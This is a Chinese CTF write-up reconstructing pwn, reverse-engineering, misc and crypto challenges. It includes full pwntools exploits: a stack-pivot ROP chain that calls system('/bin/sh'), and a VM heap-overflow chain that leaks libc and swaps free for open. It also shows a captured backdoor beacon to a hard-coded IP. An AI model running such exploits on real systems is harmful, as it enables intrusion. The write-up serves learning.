menu 牢记自己是菜
CUMTCTFwinter-----部分题目复现
2516 浏览 | 2021-01-31 | 阅读时间: 约 4 分钟 | 分类: | 标签:
请注意,本文编写于 1180 天前,最后修改于 1180 天前,其中某些信息可能已经过时。

0x0.1 前言

帮助大家处理了大概两天的事务,基本上也没什么事情了。终于可以静下心好好看看师傅们出的题目了。静下心来学点东西吧!

0x1 pwn

pwn3

楠姐出的题目,考点是栈迁移。之前没怎么做过栈迁移的题目,这里就好好研究一下。

本题的栈迁移十分的基础,题目的栈空间是0x20,read可以造成的栈溢出是0x30,所以我们并不能直接构造rop链完成程序的劫持。迁移就是通过控制edp与esp,更改程序再执行过程中的栈位置。比如本题我们需要通过栈迁移,达到扩大溢出空间的目的,从而使我们的rop有足够的空间进行构建。

exp:

from pwn import *
context.log_level = 'debug'
p = process("./pwn3")
leave = 0x400896
pop_rdi = 0x400963
call_system = 0x400835
p.recvuntil("present:")
stack = int(p.recv(len("0x7ffedbd4b030"))[2:],16)
log.success('stack:'+hex(stack))
payload = p64(pop_rdi)+p64(stack+0x18)+p64(call_system)+"/bin/sh\x00"+p64(stack-8)+p64(leave)
gdb.attach(p)
p.sendline(payload)
#print payload
p.interactive()

vmpwn

啊,第一道vmpwn,真不错。鼎哥手把手教了我三天才把他打通,不容易不容易。第一次接触vmpwn,感觉自己又发现了新大陆,是真的舒服。这次寒假赛难题质量都挺高的,找个机会把他们的pwn题全部放了,那样就能获得一波高质量的pwn题目了(计划通)。话不多说,稍微复现一下这道题目。

RE部分

既然身为一个re手,逆向部分还是在可接受范围之内的。程序一开始就申请了三个堆块,用来模拟整个虚拟机的栈空间和内存空间。然后就进入了一个很大很大的switch解释器,大概有小30条指令。我们一点一点来看,首先我们跟进内存,很容易就能找到虚拟机的字节码,我们只需要dump出来即可。然后就是指令的识别,程序开了一个大小为6的数组(我们在这里简称为A[0~5])来模拟个个寄存器,简单看一下指令操作就可以基本上确定,A[0~2]是三个通用寄存器,A [5]是程序的PC,A[3]与A[4]是关于栈的寄存器,可能是ebp之类的。

再明确了寄存器之后,我们来看一下虚拟机的指令集。

首先是0x1*系列的指令,基本上都是读取指令,和数据之间的互相存储。

0x2和0x3系列的指令,是关于栈存取的指令。

0x4和0x5是关于栈操作的指令

0x6系列指令是算数运算指令

0x7和0x8系类指令是相关跳转指令call指令

最后最重要的就是0x8f指令,这是一个函数调用的指令

后面的参数会决定调用什么函数:

在分析完之后,我就直接哈皮了,因为这不是RE题目,而是一个pwn,我根本不知道应该干啥。再请教鼎哥之后,发现应该从虚拟机的汇编入手,所以我们写一下关于字节码的脚本。

B="7EA503820001000000000000112323232323232323330000000000000000112323232323232323330800000000000000112323232323232323331000000000000000112323232323232323331800000000000000112323232323232323332000000000000000110A0000000000000033280000000000000020000000000000000044521101000000000000001329000000000000008F0111232020202020202033000000000000000011202077656C636F6D330800000000000000116520746F20323032331000000000000000113143554D54435446331800000000000000112020202020202023332000000000000000110A0000000000000033280000000000000020000000000000000044521101000000000000001329000000000000008F01112320202074686973330000000000000000112069732061206D65330800000000000000117373616765206672331000000000000000116F6D20766D206D61331800000000000000116368696E65202023332000000000000000110A0000000000000033280000000000000020000000000000000044521101000000000000001329000000000000008F01112323232323232323330000000000000000112323232323232323330800000000000000112323232323232323331000000000000000112323232323232323331800000000000000112323232323232323332000000000000000110A0000000000000033280000000000000020000000000000000044521101000000000000001329000000000000008F01112374656C6C206D653300000000000000001120776861742069733308000000000000001120796F7572206E61331000000000000000116D653A00000000003318000000000000002000000000000000004452110100000000000000131B000000000000008F011044521100000000000000001300100000000000008F00108F02116F6B2C776861742033000000000000000011646F20796F75207733080000000000000011616E7420746F20733310000000000000001161793A00000000003318000000000000002000000000000000004452110100000000000000131B000000000000008F011044521100000000000000001300100000000000008F00114E6F772C4920726533000000000000000011636576696520796F330800000000000000117572206D657373613310000000000000001167652C6279657E0A33180000000000000020000000000000000044521101000000000000001320000000000000008F018100010000000000009011205F205F205F205F33000000000000000011205F205F205F205F3308000000000000001120205F205F205F20331000000000000000112020205F5F5F5F5F331800000000000000112020205F5F5F205F33200000000000000011205F205F205F205F332800000000000000115F205F205F205F203330000000000000001120205F205F205F20333800000000000000115F20205F205F0A0033400000000000000020000000000000000044521101000000000000001347000000000000008F0111205F205F205F205F33000000000000000011205F205F205F205F33080000000000000011205F205F205F205F3310000000000000001120205F5F2020205F331800000000000000115F205F20205F5F5F33200000000000000011205F205F205F205F332800000000000000115F205F205F205F203330000000000000001120205F20205F205F33380000000000000011205F205F205F200A33400000000000000020000000000000000044521101000000000000001348000000000000008F0111205F205F205F205F33000000000000000011205F205F205F205F33080000000000000011205F205F205F205F3310000000000000001120205F5F2020205F331800000000000000115F205F20205F5F5F33200000000000000011205F205F205F2020332800000000000000115F205F205F205F203330000000000000001120205F20205F205F33380000000000000011205F205F205F200A33400000000000000020000000000000000044521101000000000000001348000000000000008F0111205F205F205F205F33000000000000000011205F205F205F205F33080000000000000011205F205F205F205F3310000000000000001120205F5F2020205F331800000000000000115F205F20205F205F33200000000000000011205F205F205F205F332800000000000000115F205F205F205F203330000000000000001120205F20205F205F33380000000000000011205F205F205F200A33400000000000000020000000000000000044521101000000000000001348000000000000008F0111205F205F205F205F33000000000000000011205F205F205F205F33080000000000000011205F205F205F205F3310000000000000001120205F5F2020205F331800000000000000115F205F20205F205F33200000000000000011205F205F205F205F332800000000000000115F205F205F205F203330000000000000001120205F20205F205F33380000000000000011205F205F205F200A33400000000000000020000000000000000044521101000000000000001348000000000000008F0111205F205F205F205F33000000000000000011205F205F205F205F33080000000000000011205F205F205F205F3310000000000000001120205F5F205F205F331800000000000000115F205F205F5F205F33200000000000000011205F205F205F2020332800000000000000115F205F205F205F20333000000000000000115F205F5F205F205F333800000000000000115F5F205F205F200A33400000000000000020000000000000000044521101000000000000001348000000000000008F0188D2F7FF00000000000000000000000000"
A = []
for i in range(0,len(B),2):
    A.append(B[i:i+2])
eax = 0
ebx = 0
ecx = 0
ebp = 0
esp = 0
pc = 0
num = 0;
while(True):
    if num >= len(A):
        break
    print(num,end=" ")
    if A[num] == "10":
        print("mov eax,A[3]")
        num = num + 1
    elif A[num] == "11":
        str1 = A[num+1] + A[num+2] + A[num + 3]+ A[num+4]+A[num+5]+A[num+6]+A[num+7]+A[num+8]
        print("mov eax,"+str1)
        num = num + 9
    elif A[num] == "12":
        str1 = A[num+1] + A[num+2] + A[num + 3]+ A[num+4]+A[num+5]+A[num+6]+A[num+7]+A[num+8]
        print("mov ebx,"+str1)
        num = num + 9
    elif A[num] == "13":
        str1 = A[num+1] + A[num+2] + A[num + 3]+ A[num+4]+A[num+5]+A[num+6]+A[num+7]+A[num+8]
        print("mov ecx,"+str1)
        num = num + 9
    elif A[num] == "20":
        str1 = A[num+1] + A[num+2] + A[num + 3]+ A[num+4]+A[num+5]+A[num+6]+A[num+7]+A[num+8]
        print("mov rax,&data[x]  "+str1)
        num = num + 9
    elif A[num] == "21":
        str1 = A[num+1] + A[num+2] + A[num + 3]+ A[num+4]+A[num+5]+A[num+6]+A[num+7]+A[num+8]
        print("mov rax,&data[x]  "+str1)   
        num = num + 9 
    elif A[num] == "22":
        str1 = A[num+1] + A[num+2] + A[num + 3]+ A[num+4]+A[num+5]+A[num+6]+A[num+7]+A[num+8]
        print("mov rbx,&data[x]  "+str1) 
        num = num + 9  
    elif A[num] == "23":
        str1 = A[num+1] + A[num+2] + A[num + 3]+ A[num+4]+A[num+5]+A[num+6]+A[num+7]+A[num+8]
        print("mov rcx,&data[x]  "+str1) 
        num = num + 9
    elif A[num] == "33":
        str1 = A[num+1] + A[num+2] + A[num + 3]+ A[num+4]+A[num+5]+A[num+6]+A[num+7]+A[num+8]
        print("mov &data[x],eax  "+str1) 
        num = num + 9    
    elif A[num] == "34":
        str1 = A[num+1] + A[num+2] + A[num + 3]+ A[num+4]+A[num+5]+A[num+6]+A[num+7]+A[num+8]
        print("mov &data[x],ebx  "+str1) 
        num = num + 9        
    elif A[num] == "35":
        str1 = A[num+1] + A[num+2] + A[num + 3]+ A[num+4]+A[num+5]+A[num+6]+A[num+7]+A[num+8]
        print("mov &data[x],ecx  "+str1) 
        num = num + 9
    elif A[num] == "44":
        print("push eax") 
        num = num + 1   
    elif A[num] == "45":
        print("push ebx ") 
        num = num + 1 
    elif A[num] == "46":
        print("push ecx") 
        num = num + 1   
    elif A[num] == "51":
        print("pop eax") 
        num = num + 1  
    elif A[num] == "52":
        print("pop ebx") 
        num = num + 1  
    elif A[num] == "53":
        print("pop ecx") 
        num = num + 1  
    elif A[num] == "61":
        str1 = A[num+1] + A[num+2] + A[num + 3]+ A[num+4]+A[num+5]+A[num+6]+A[num+7]+A[num+8]
        print("add eax,data  "+str1) 
        num = num + 9
    elif A[num] == "62":
        str1 = A[num+1] + A[num+2] + A[num + 3]+ A[num+4]+A[num+5]+A[num+6]+A[num+7]+A[num+8]
        print("add ebx,data  "+str1) 
        num = num + 9    
    elif A[num] == "63":
        str1 = A[num+1] + A[num+2] + A[num + 3]+ A[num+4]+A[num+5]+A[num+6]+A[num+7]+A[num+8]
        print("add ecx,data  "+str1) 
        num = num + 9
    elif A[num] == "64":
        str1 = A[num+1] + A[num+2] + A[num + 3]+ A[num+4]+A[num+5]+A[num+6]+A[num+7]+A[num+8]
        print("sub eax,data  "+str1) 
        num = num + 9
    elif A[num] == "65":
        str1 = A[num+1] + A[num+2] + A[num + 3]+ A[num+4]+A[num+5]+A[num+6]+A[num+7]+A[num+8]
        print("sub ebx,data  "+str1) 
        num = num + 9
    elif A[num] == "66":
        str1 = A[num+1] + A[num+2] + A[num + 3]+ A[num+4]+A[num+5]+A[num+6]+A[num+7]+A[num+8]
        print("sub ecx,data  "+str1) 
        num = num + 9
    elif A[num] == "67":
        str1 = A[num+1] + A[num+2] + A[num + 3]+ A[num+4]+A[num+5]+A[num+6]+A[num+7]+A[num+8]
        print("iml eax,data  "+str1) 
        num = num + 9
    elif A[num] == "68":
        str1 = A[num+1] + A[num+2] + A[num + 3]+ A[num+4]+A[num+5]+A[num+6]+A[num+7]+A[num+8]
        print("iml ebx,data  "+str1) 
        num = num + 9
    elif A[num] == "69":
        str1 = A[num+1] + A[num+2] + A[num + 3]+ A[num+4]+A[num+5]+A[num+6]+A[num+7]+A[num+8]
        print("iml ecx,data  "+str1) 
        num = num + 9 
    elif A[num] == "6A":
        str1 = A[num+1] + A[num+2] + A[num + 3]+ A[num+4]+A[num+5]+A[num+6]+A[num+7]+A[num+8]
        print("xor eax,data  "+str1) 
        num = num + 9 
    elif A[num] == "6B":
        str1 = A[num+1] + A[num+2] + A[num + 3]+ A[num+4]+A[num+5]+A[num+6]+A[num+7]+A[num+8]
        print("xor ebx,data  "+str1) 
        num = num + 9 
    elif A[num] == "6C":
        str1 = A[num+1] + A[num+2] + A[num + 3]+ A[num+4]+A[num+5]+A[num+6]+A[num+7]+A[num+8]
        print("xor ecx,data  "+str1) 
        num = num + 9
    elif A[num] == "6D":
        print("xor eax,eax") 
        num = num + 1  
    elif A[num] == "6E":
        print("xor ebx,ebx") 
        num = num + 1  
    elif A[num] == "6F":
        print("xor ecx,ecx") 
        num = num + 1  
    elif A[num] == "7E":
        str1 = A[num+1]+A[num+2]
        print("jmp 7E " + str1)
        num = num + 3
    elif A[num] == "7F":
        print("jmp eax")
        num = num + 1     
    elif A[num] == "80":
        print("call eax")
        num = num + 1
    elif A[num] == "81":
        str1 = A[num+1] + A[num+2] + A[num + 3]+ A[num+4]+A[num+5]+A[num+6]+A[num+7]+A[num+8]
        print("add esp A[3], data  "+str1) 
        num = num + 9
    elif A[num] == "82":
        str1 = A[num+1] + A[num+2] + A[num + 3]+ A[num+4]+A[num+5]+A[num+6]+A[num+7]+A[num+8]
        print("sub esp A[3], value  "+str1) 
        num = num + 9    
    elif A[num] == "88":
        str1 = A[num+1]
        print("call pc+data " + str1)
        num = num + 2
    elif A[num] == "8F":
        str1 = A[num+1]
        print("call function " + str1)
        num = num + 2
    elif A[num] == "90":
        print("return")
        num = num + 1 
    else:
        print("nop")
        num = num + 1   

生成后的汇编:

jmp 7E A503
sub esp A[3], value  0001000000000000  //开栈0x100
mov eax,2323232323232323                    //
mov &data[x],eax  0000000000000000
mov eax,2323232323232323
mov &data[x],eax  0800000000000000
mov eax,2323232323232323
mov &data[x],eax  1000000000000000
mov eax,2323232323232323
mov &data[x],eax  1800000000000000
mov eax,2323232323232323
mov &data[x],eax  2000000000000000
mov eax,0A00000000000000
mov &data[x],eax  2800000000000000  //数据存入内存
mov rax,&data[x]  0000000000000000   //移动指针
push eax
pop ebx                                                    //ebx = str1 指针 缓冲区
mov eax,0100000000000000                  //eax =  1   文件描述      
mov ecx,2900000000000000                  //ecx  = 0x29 输出长度
call write
mov eax,2320202020202020
mov &data[x],eax  0000000000000000
mov eax,202077656C636F6D
mov &data[x],eax  0800000000000000
mov eax,6520746F20323032
mov &data[x],eax  1000000000000000
mov eax,3143554D54435446
mov &data[x],eax  1800000000000000
mov eax,2020202020202023
mov &data[x],eax  2000000000000000
mov eax,0A00000000000000
mov &data[x],eax  2800000000000000
mov rax,&data[x]  0000000000000000
push eax
pop ebx
mov eax,0100000000000000
mov ecx,2900000000000000
call write
mov eax,2320202074686973
mov &data[x],eax  0000000000000000
mov eax,2069732061206D65
mov &data[x],eax  0800000000000000
mov eax,7373616765206672
mov &data[x],eax  1000000000000000
mov eax,6F6D20766D206D61
mov &data[x],eax  1800000000000000
mov eax,6368696E65202023
mov &data[x],eax  2000000000000000
mov eax,0A00000000000000
mov &data[x],eax  2800000000000000
mov rax,&data[x]  0000000000000000
push eax
pop ebx
mov eax,0100000000000000
mov ecx,2900000000000000
call write
mov eax,2323232323232323
mov &data[x],eax  0000000000000000
mov eax,2323232323232323
mov &data[x],eax  0800000000000000
mov eax,2323232323232323
mov &data[x],eax  1000000000000000
mov eax,2323232323232323
mov &data[x],eax  1800000000000000
mov eax,2323232323232323
mov &data[x],eax  2000000000000000
mov eax,0A00000000000000
mov &data[x],eax  2800000000000000
mov rax,&data[x]  0000000000000000
push eax
pop ebx
mov eax,0100000000000000
mov ecx,2900000000000000
call write
mov eax,2374656C6C206D65
mov &data[x],eax  0000000000000000
mov eax,2077686174206973
mov &data[x],eax  0800000000000000
mov eax,20796F7572206E61
mov &data[x],eax  1000000000000000
mov eax,6D653A0000000000
mov &data[x],eax  1800000000000000
mov rax,&data[x]  0000000000000000
push eax
pop ebx
mov eax,0100000000000000
mov ecx,1B00000000000000
call write
-------------------------------------------------------------//输出打印标题
mov eax,A[3]                                         //栈大小0x100
push eax
pop ebx
mov eax,0000000000000000
mov ecx,0010000000000000
call read                                                 //read(0x1000)
mov eax,A[3]
call puts  ----------------------------------//泄露libc    int puts(const char *s);

mov eax,6F6B2C7768617420
mov &data[x],eax  0000000000000000
mov eax,646F20796F752077
mov &data[x],eax  0800000000000000
mov eax,616E7420746F2073
mov &data[x],eax  1000000000000000
mov eax,61793A0000000000
mov &data[x],eax  1800000000000000
mov rax,&data[x]  0000000000000000
push eax
pop ebx
mov eax,0100000000000000
mov ecx,1B00000000000000
call write

mov eax,A[3]
push eax
pop ebx
mov eax,0000000000000000
mov ecx,0010000000000000                //read(0x1000)
call read

mov eax,4E6F772C49207265
mov &data[x],eax  0000000000000000
mov eax,636576696520796F
mov &data[x],eax  0800000000000000
mov eax,7572206D65737361
mov &data[x],eax  1000000000000000
mov eax,67652C6279657E0A
mov &data[x],eax  1800000000000000
mov rax,&data[x]  0000000000000000
push eax
pop ebx
mov eax,0100000000000000
mov ecx,2000000000000000
call write
add esp A[3], data  0001000000000000
return

mov eax,205F205F205F205F
mov &data[x],eax  0000000000000000
mov eax,205F205F205F205F
mov &data[x],eax  0800000000000000
mov eax,20205F205F205F20
mov &data[x],eax  1000000000000000
mov eax,2020205F5F5F5F5F
mov &data[x],eax  1800000000000000
mov eax,2020205F5F5F205F
mov &data[x],eax  2000000000000000
mov eax,205F205F205F205F
mov &data[x],eax  2800000000000000
mov eax,5F205F205F205F20
mov &data[x],eax  3000000000000000
mov eax,20205F205F205F20
mov &data[x],eax  3800000000000000
mov eax,5F20205F205F0A00
mov &data[x],eax  4000000000000000
mov rax,&data[x]  0000000000000000
push eax
pop ebx
mov eax,0100000000000000
mov ecx,4700000000000000
call write
mov eax,205F205F205F205F
mov &data[x],eax  0000000000000000
mov eax,205F205F205F205F
mov &data[x],eax  0800000000000000
mov eax,205F205F205F205F
mov &data[x],eax  1000000000000000
mov eax,20205F5F2020205F
mov &data[x],eax  1800000000000000
mov eax,5F205F20205F5F5F
mov &data[x],eax  2000000000000000
mov eax,205F205F205F205F
mov &data[x],eax  2800000000000000
mov eax,5F205F205F205F20
mov &data[x],eax  3000000000000000
mov eax,20205F20205F205F
mov &data[x],eax  3800000000000000
mov eax,205F205F205F200A
mov &data[x],eax  4000000000000000
mov rax,&data[x]  0000000000000000
push eax
pop ebx
mov eax,0100000000000000
mov ecx,4800000000000000
call write
mov eax,205F205F205F205F
mov &data[x],eax  0000000000000000
mov eax,205F205F205F205F
mov &data[x],eax  0800000000000000
mov eax,205F205F205F205F
mov &data[x],eax  1000000000000000
mov eax,20205F5F2020205F
mov &data[x],eax  1800000000000000
mov eax,5F205F20205F5F5F
mov &data[x],eax  2000000000000000
mov eax,205F205F205F2020
mov &data[x],eax  2800000000000000
mov eax,5F205F205F205F20
mov &data[x],eax  3000000000000000
mov eax,20205F20205F205F
mov &data[x],eax  3800000000000000
mov eax,205F205F205F200A
mov &data[x],eax  4000000000000000
mov rax,&data[x]  0000000000000000
push eax
pop ebx
mov eax,0100000000000000
mov ecx,4800000000000000
call write
mov eax,205F205F205F205F
mov &data[x],eax  0000000000000000
mov eax,205F205F205F205F
mov &data[x],eax  0800000000000000
mov eax,205F205F205F205F
mov &data[x],eax  1000000000000000
mov eax,20205F5F2020205F
mov &data[x],eax  1800000000000000
mov eax,5F205F20205F205F
mov &data[x],eax  2000000000000000
mov eax,205F205F205F205F
mov &data[x],eax  2800000000000000
mov eax,5F205F205F205F20
mov &data[x],eax  3000000000000000
mov eax,20205F20205F205F
mov &data[x],eax  3800000000000000
mov eax,205F205F205F200A
mov &data[x],eax  4000000000000000
mov rax,&data[x]  0000000000000000
push eax
pop ebx
mov eax,0100000000000000
mov ecx,4800000000000000
call write
mov eax,205F205F205F205F
mov &data[x],eax  0000000000000000
mov eax,205F205F205F205F
mov &data[x],eax  0800000000000000
mov eax,205F205F205F205F
mov &data[x],eax  1000000000000000
mov eax,20205F5F2020205F
mov &data[x],eax  1800000000000000
mov eax,5F205F20205F205F
mov &data[x],eax  2000000000000000
mov eax,205F205F205F205F
mov &data[x],eax  2800000000000000
mov eax,5F205F205F205F20
mov &data[x],eax  3000000000000000
mov eax,20205F20205F205F
mov &data[x],eax  3800000000000000
mov eax,205F205F205F200A
mov &data[x],eax  4000000000000000
mov rax,&data[x]  0000000000000000
push eax
pop ebx
mov eax,0100000000000000
mov ecx,4800000000000000
call write
mov eax,205F205F205F205F
mov &data[x],eax  0000000000000000
mov eax,205F205F205F205F
mov &data[x],eax  0800000000000000
mov eax,205F205F205F205F
mov &data[x],eax  1000000000000000
mov eax,20205F5F205F205F
mov &data[x],eax  1800000000000000
mov eax,5F205F205F5F205F
mov &data[x],eax  2000000000000000
mov eax,205F205F205F2020
mov &data[x],eax  2800000000000000
mov eax,5F205F205F205F20
mov &data[x],eax  3000000000000000
mov eax,5F205F5F205F205F
mov &data[x],eax  3800000000000000
mov eax,5F5F205F205F200A
mov &data[x],eax  4000000000000000
mov rax,&data[x]  0000000000000000
push eax
pop ebx
mov eax,0100000000000000
mov ecx,4800000000000000
call write
call pc+data D27F
return
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

可能细节上还是有一点区别,但是大体上逻辑已经比较清楚了。

PWN部分

漏洞还是很好找的,程序的一开头就在heap段开辟了一个vm的虚拟栈,这个栈的大小只有0x100。但是在调用read函数的时候,他进行了一个0x1000的读取。所以在虚拟机的中存在一个栈溢出漏洞(这个栈实则在程序的heap中)。由于0x8f的指令不是调用自己实现的函数,而是进行了系统函数的调用,所以我们可以想办法泄露函数got表,从而得到libc基址。其次可以泄露虚拟栈中的ebp,得到原有堆基址,再利用我们的偏移,就可以计算出当前栈的位置等信息。虽然原程序开启了NX保护,但是vm没有,所以我们可以使用vm的代码构建shellcode。通过计算出的堆地址,将整个程序流劫持到我们想要的地方。

这里就出现问题了,本身我想使用system函数覆盖地址,在使用shellcode完成调用,但是咋试都不行。最后在鼎哥点播后,才发现了程序的一个函数。

这个函数会导致整个程序无法执行任何和system有关的函数,所以我并不能构造rop链。

那我们只能采用orw进行flag的读取,但是没有open函数怎么办,我们可以将free函数覆盖为open函数。

exp:

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p = process('./pwnvm')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#io=remote('219.219.61.234',23457)
payload=b'a'*0xff
p.recvuntil('name:')
p.sendline(payload)
p.recvuntil('a'*0xff)
ret_addr=u64(p.recv(7).ljust(8,b'\x00'))
ret_addr=ret_addr>>8
log.success('ret_addr:'+hex(ret_addr))
main_addr=ret_addr-0x831
payload=b'b'*0x100+p64(main_addr)
log.success('main:'+hex(main_addr))
p.recvuntil('say:')
p.sendline(payload)#can retun main

puts_addrss=ret_addr-0x851+0x8f0 #
log.success(hex(puts_addrss))
#leak heap_addr

#leak heap_addr
payload=b'p'*0xef
p.recvuntil('name:')
p.sendline(payload)
p.recvuntil('p'*0xef)
heap2_addr=u64(p.recv(7).ljust(8,b'\x00'))
heap2_addr=heap2_addr>>8
log.success('heap2_addr:'+hex(heap2_addr))
my_input_addr=heap2_addr+0x1010+0x1d08
log.success('my_input_addr:'+hex(my_input_addr))#input
my_input_addr1=heap2_addr+0x1010+0x1d08+0x100+0x8
log.success('my_input_addr:'+hex(my_input_addr1))
vmfree_base = main_addr -0x203851 + 0x2038f8 +0x831
log.success('vmfree_base:'+hex(vmfree_base))
new_heap = my_input_addr1 +87
log.success('new_heap:'+hex(new_heap))


payload = b'a'*0x100 + p64(my_input_addr1)
payload=payload+b'\x11'+p64(1)
payload=payload+b'\x12'+p64(puts_addrss)
payload=payload+b'\x13'+p64(8)
payload=payload+b'\x8f\x01'   #write puts_adrss write(1,puts,8)
payload=payload+b'\x11'+p64(0)
payload=payload+b'\x12'+p64(vmfree_base)
payload=payload+b'\x13'+p64(8)
payload=payload+b'\x8f\x00'      #call read---> free
payload=payload+b'\x11'+p64(0)
payload=payload+b'\x12'+p64(new_heap)
payload=payload+b'\x13'+p64(0x1000)
payload=payload+b'\x8f\x00'        #call new_heap


'''
payload=payload+b'\x11'+p64(main_addr)
payload=payload+b'\x44'
payload=payload+b'\x90'
'''
p.recvuntil('say:')
'''
payload=payload.ljust(0x100,b'\x00')
payload=payload+p64(my_input_addr)
'''
p.send(payload)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
log.success('puts_addr:'+hex(puts_addr))
'''
log.success('puts_addr:'+hex(puts_addr))
libc =LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
log.success('system:'+hex(system))
log.success('binsh:'+hex(bin_sh))
open_addrss = libcbase + libc.dump('open')
log.success('open_addrss:'+hex(open_addrss))
log.success('libc.dump(open):'+hex(libc.dump('open')))
'''
libc_base=puts_addr-libc.sym['puts']
libc.address=libc_base
log.success('libc.sym[open]'+hex(libc.sym['open']))
log.success('libc.sym[free]'+hex(libc.sym['free']))
p.send(p64(libc.sym['open']))
pay=''
pay+='\x11flag\x00\x00\x00\x00'
pay+='\x33'+'\x00'*8
pay+='\x20'+'\x00'*8
pay+='\x12'
pay+=p64(0)
pay+='\x13'
pay+=p64(0)
pay+='\x8f'
pay+='\x03'
readbuf = vmfree_base-0x50
pay+=b'\x11'+p64(3)     #read
pay+=b'\x12'+p64(readbuf)
pay+=b'\x13'+p64(0x30)
pay+=b'\x8f\x00'
pay+=b'\x11'+p64(1)     #write
pay+=b'\x12'+p64(readbuf)
pay+=b'\x13'+p64(0x30)
pay+=b'\x8f\x01'
gdb.attach(p)
pause()
p.send(pay)
p.interactive()




'''
payload=b'p'*0x100+b'b'*8
p.recvuntil('name:')
p.sendline(payload)
'''
'''
payload = 'p'*0x100 + p64(my_input_addr1) + 'b'*0x8
payload1=b'\x11'+p64(0)
payload1=payload1+b'\x12'+p64(vmfree_base)
payload1=payload1+b'\x13'+p64(8)
payload1=payload1+b'\x8f\x00'    #call read overflow-->free  free-->open
'''


'''
#payload2=b'\x11'+p64(0)               # #call read vmcode
#payload2=payload1+b'\x12'+p64(my_input_addr1 + 50)

#payload1=payload1+b'\x13'+p64(8)
#payload1=payload1+b'\x8f\x00'              
#payload=payload+b'\x11'+p64(bin_sh)
#payload=payload+b'\x8f\x01'
p.recvuntil('say:')
payload =payload + payload1
p.sendline(payload)
p.sendline("111111111")
#gdb.attach(p)
#pause()
#p.interactive()
'''

0x2 re

RE2

拿到题目,直接往IDA里面一脱,发现不行。仔细看一下发现有壳。是一个压缩壳。直接使用esp定律法手动脱壳。脱壳一遍成功,还是比较简单的。

IDA查看脱壳后程序,找到关键几处逻辑。首先是输入进行了一个左右移位异或的操作,很复杂,没有看明白。最后进行了一个循环的检验,判断32次,基本确定flag长度32为。

动调程序,关键跳转处,下内存断点,观察内存数据。

尝试cumtctf{111111111111111111}与CUMTCTF{11111111111111111111}格式字符串,发现CUMTCTF{}中已经有9位于check一致,并且中间的所有1全部加密为了0x68。基本可以确定,程序加密逻辑没有混淆,一位一位之间互相独立。并且格式为CUMTCTF{}。

输入全为1,内存如图:

一开始我想打表,将所有程序对应加密后的字符进行一个打表,最后进行比对。最后发现算法等效逻辑为异或89

直接进行一个脚本的解密:

B=[0x1A, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x14, 0x00, 
  0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x1A, 0x00, 0x00, 0x00, 
  0x0D, 0x00, 0x00, 0x00, 0x1F, 0x00, 0x00, 0x00, 0x22, 0x00, 
  0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 
  0x2F, 0x00, 0x00, 0x00, 0x3C, 0x00, 0x00, 0x00, 0x06, 0x00, 
  0x00, 0x00, 0x3F, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 
  0x17, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x1F, 0x00, 
  0x00, 0x00, 0x69, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 
  0x06, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x69, 0x00, 
  0x00, 0x00, 0x35, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 
  0x3D, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x20, 0x00, 
  0x00, 0x00, 0x78, 0x00, 0x00, 0x00, 0x78, 0x00, 0x00, 0x00, 
  0x78, 0x00, 0x00, 0x00, 0x24, 0x00, 0x00, 0x00, 0x21]
for i in range(0,len(B),4):
    print(chr(B[i]^89),end="")

0x3 misc

ez_backdoor

转头看看元帅的杂项,哇,没头绪,看起来像个逆向题。

看提示,发现是抓包,那就抓一下包试试。

GET http://40.245.66.217/cm HTTP/1.1
Accept: */*
Cookie: GHmTp6Y+D+/GRnv3F8owD1KRTAHB5fUHmZIQViuvBVMu2e5Zjaqk8ipdeTNk4JRK14wFcHpBWJ87o2oBbiI6NM72ECWlk8wSHbRen4amXp0lJDlljdz/B04DjzazAqrebYv0K/dzHpj6iqetiVMu1up60PP6MkUvO7lP7Mllt7U=
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; NP06)
Host: 40.245.66.217
Proxy-Connection: Keep-Alive
Pragma: no-cache

确实看见了一些关于这个ip的数据,但是不知道为啥是flag,等一手WP吧。

哦!!!我关闭的时候才反应过来,这玩意是个病毒,因为我在删除的时候,没有办法删掉,仔细一看,他正在后台运行,并且一直与这个IP保持着通信。

0x4 Crypto

fakeRSA

使用公钥打表,对密文进行比对输出

cipher = [..........]
n = 12457981652507620082899382981019023150522130836049180768230343208048934250515055225919349467798787130145322363535840724320789633007392777695461819640437560640209852226105362332801576692429778616279117389786582662174560154469003170305006785551902344355335769435756760811102857819829329033582792826564656344565450265474296871162147060177241714540253604539780517460406770813062769099245157298730033826355717057929207255864286698539967655185399554949075313213370119868838885318633758295272070101734349060701723266336600294581259003531484934286818352843046724120072304901058035864828216652283864232249168467598307241102541
e = 65537
#A = cipher[0][0]
num = 1
#print(len(cipher))
for i in cipher:
    print(len(i))
B = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890{}"
A = []
for i in B:
    A.append(pow(ord(i),e,n))
for b in cipher:
    for c in b:
        H = A.index(c)
        print(B[H],end="")

乱写的密码

一个单表置换密码,先词频统计一波,然后猜一猜,就能从网上找到原文,对比一下即可拿到flag。

import random

def get_value():
    global values
    r = random.randint(0, len(values) - 1)
    x = values[r]
    values = values[:r] + values[r + 1:]
    return x

k_dist = {}
keys = 'abcdefghijklmnopqrstuvwxyz'
values = keys
for key in keys:
    k_dist[key] = get_value()

k_dist['k'] = 'c'
k_dist['r'] = 'u'
k_dist['v'] = 'm' 
k_dist['e'] = 't' 
k_dist['d'] = 'f'
k_dist['g'] = 'o'  
k_dist['s'] = 'a'  
